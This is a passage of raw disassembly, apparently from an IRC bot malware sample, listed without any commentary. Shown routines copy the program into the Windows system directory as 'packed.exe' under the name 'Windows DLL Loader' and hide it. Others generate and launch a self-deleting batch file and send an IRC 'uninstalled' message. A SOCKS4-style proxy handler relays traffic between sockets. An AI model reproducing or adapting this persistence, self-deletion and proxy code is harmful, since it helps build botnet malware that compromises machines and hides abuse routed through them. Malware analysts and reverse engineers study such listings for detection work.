dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call dword_417068 ; WriteFile push [ebp+var_28] call dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: cAddress:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call dword_4170AC ; DeleteFileA loc_40707C: ; DATA XREF: cAddress:0041AD4Co ; cAddress:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset aPacked_exe ; "packed.exe" push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_41707C ; CreateProcessA call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: cAddress:004031EDp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset aPacked_exe ; "packed.exe" push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset aPacked_exe ; "packed.exe" push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset aPacked_exe ; "packed.exe" push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; --------------------------------------------------------------------------- loc_40732D: ; DATA XREF: cAddress:00407792o push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push dword ptr [ebp+8] lea eax, [ebp-1C8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx mov eax, [ebp-1C8h] mov [ebp-5D4h], eax push 0 push 408h lea eax, [ebp-5D0h] push eax push dword ptr [ebp-5D4h] call dword_417248 ; recv mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz short loc_40738F cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: cAddress:00407387j xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: cAddress:0040738Dj movzx eax, byte ptr [ebp-5D0h] cmp eax, 4 jnz short loc_4073BA movzx eax, byte ptr [ebp-5CFh] cmp eax, 1 jnz short loc_4073BA mov dword ptr [ebp-16ECh], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: cAddress:004073A0j ; cAddress:004073ACj and dword ptr [ebp-16ECh], 0 loc_4073C1: ; CODE XREF: cAddress:004073B8j mov eax, [ebp-16ECh] mov [ebp-4], eax movsx eax, byte ptr [ebp-1BEh] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp-1BEh] push eax lea eax, [ebp-5C8h] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and dword ptr [ebp-4], 0 loc_4073F5: ; CODE XREF: cAddress:004073D3j ; cAddress:004073EFj movsx eax, byte ptr [ebp-1Bh] test eax, eax jz short loc_407456 lea eax, [ebp-6E0h] push eax push dword ptr [ebp-5D4h] call sub_4044F7 pop ecx pop ecx cmp dword ptr [ebp-4], 0 jz short loc_407423 mov dword ptr [ebp-16F0h], offset byte_41DE00 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: cAddress:00407415j mov dword ptr [ebp-16F0h], offset aRejected ; " rejected" loc_40742D: ; CODE XREF: cAddress:00407421j push dword ptr [ebp-16F0h] movzx eax, byte ptr [ebp-5D0h] push eax lea eax, [ebp-6E0h] push eax push offset dword_418EB8 lea eax, [ebp-1AEh] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: cAddress:004073FBj cmp dword ptr [ebp-4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp-5D0h] push eax call sub_416B6A ; memset add esp, 0Ch mov byte ptr [ebp-5CFh], 5Bh push 8 lea eax, [ebp-5D0h] push eax push dword ptr [ebp-5D4h] call sub_4053BF add esp, 0Ch push dword ptr [ebp-5D4h] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: cAddress:0040745Aj push 0Ah lea eax, [ebp-5DCh] push eax push dword ptr [ebp-5CEh] call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp-5DCh] push eax push dword ptr [ebp-5CCh] call dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp-5E0h], eax push 8 push 0 lea eax, [ebp-5D0h] push eax call sub_416B6A ; memset add esp, 0Ch cmp dword ptr [ebp-5E0h], 0 jnz short loc_407537 mov byte ptr [ebp-5CFh], 5Bh push 8 lea eax, [ebp-5D0h] push eax push dword ptr [ebp-5D4h] call sub_4053BF add esp, 0Ch push dword ptr [ebp-5D4h] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: cAddress:00407504j mov byte ptr [ebp-5CFh], 5Ah push 8 lea eax, [ebp-5D0h] push eax push dword ptr [ebp-5D4h] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: cAddress:0040762Aj push dword ptr [ebp-5D4h] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp-16E0h] push eax push dword ptr [ebp-5D4h] call dword_417248 ; recv mov [ebp-16E4h], eax cmp dword ptr [ebp-16E4h], 0 jz short loc_407597 cmp dword ptr [ebp-16E4h], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: cAddress:0040758Cj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: cAddress:00407595j push dword ptr [ebp-16E4h] lea eax, [ebp-16E0h] push eax push dword ptr [ebp-5E0h] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: cAddress:00407563j ; cAddress:004075B9j push dword ptr [ebp-5E0h] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp-16E0h] push eax push dword ptr [ebp-5E0h] call dword_417248 ; recv mov [ebp-16E8h], eax cmp dword ptr [ebp-16E8h], 0 jz short loc_4075FF cmp dword ptr [ebp-16E8h], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: cAddress:004075F4j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: cAddress:004075FDj push dword ptr [ebp-16E8h] lea eax, [ebp-16E0h] push eax push dword ptr [ebp-5D4h] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: cAddress:004075CBj ; cAddress:0040761Ej push 32h call dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: cAddress:loc_407597j ; cAddress:004075BBj ... push dword ptr [ebp-5D4h] call sub_40538D pop ecx push dword ptr [ebp-5E0h] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: cAddress:00407391j ; cAddress:0040749Bj ... leave retn 4 ; --------------------------------------------------------------------------- loc_40764D: ; DATA XREF: sub_4077DD+B4o push ebp mov ebp, esp sub esp, 1CCh push 1BDh push dword ptr [ebp+8] lea eax, [ebp-1C0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp-1BCh] push eax call sub_4046BC pop ecx pop ecx mov [ebp-1C4h], eax cmp dword ptr [ebp-1C4h], 0 jnz short loc_4076A8 push dword ptr [ebp-1C0h] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: cAddress:00407693j lea eax, [ebp-1BCh] push eax mov eax, [ebp-1C0h] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp-1A6h] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: cAddress:00407706j ; cAddress:0040772Ej ... push 3E8h push dword ptr [ebp-1C4h] call sub_4048EF pop ecx pop ecx mov [ebp-1C8h], eax mov eax, [ebp-1C0h] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp dword ptr [ebp-1C8h], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: cAddress:004076EDj jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: cAddress:004076F6j cmp dword ptr [ebp-1C8h], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: cAddress:00407704j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp-1CCh], eax cmp dword ptr [ebp-1CCh], 0 jnz short loc_407730 push dword ptr [ebp-1C8h] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: cAddress:00407720j mov eax, [ebp-1CCh] mov ecx, [ebp-1C8h] mov [eax], ecx lea eax, [ebp-1BCh] push eax mov eax, [ebp-1CCh] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp-1B6h] push eax mov eax, [ebp-1CCh] add eax, 0Ah push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1A3h lea eax, [ebp-1A6h] push eax mov eax, [ebp-1CCh] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp-1CCh] push offset loc_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push dword ptr [ebp-1CCh] call sub_416B4C ; free pop ecx push dword ptr [ebp-1C8h] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: cAddress:004077A0j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: cAddress:loc_4076F8j push dword ptr [ebp-1C4h] call sub_404CBB pop ecx push dword ptr [ebp-1C0h] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: cAddress:004076A3j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DE00 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset loc_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: 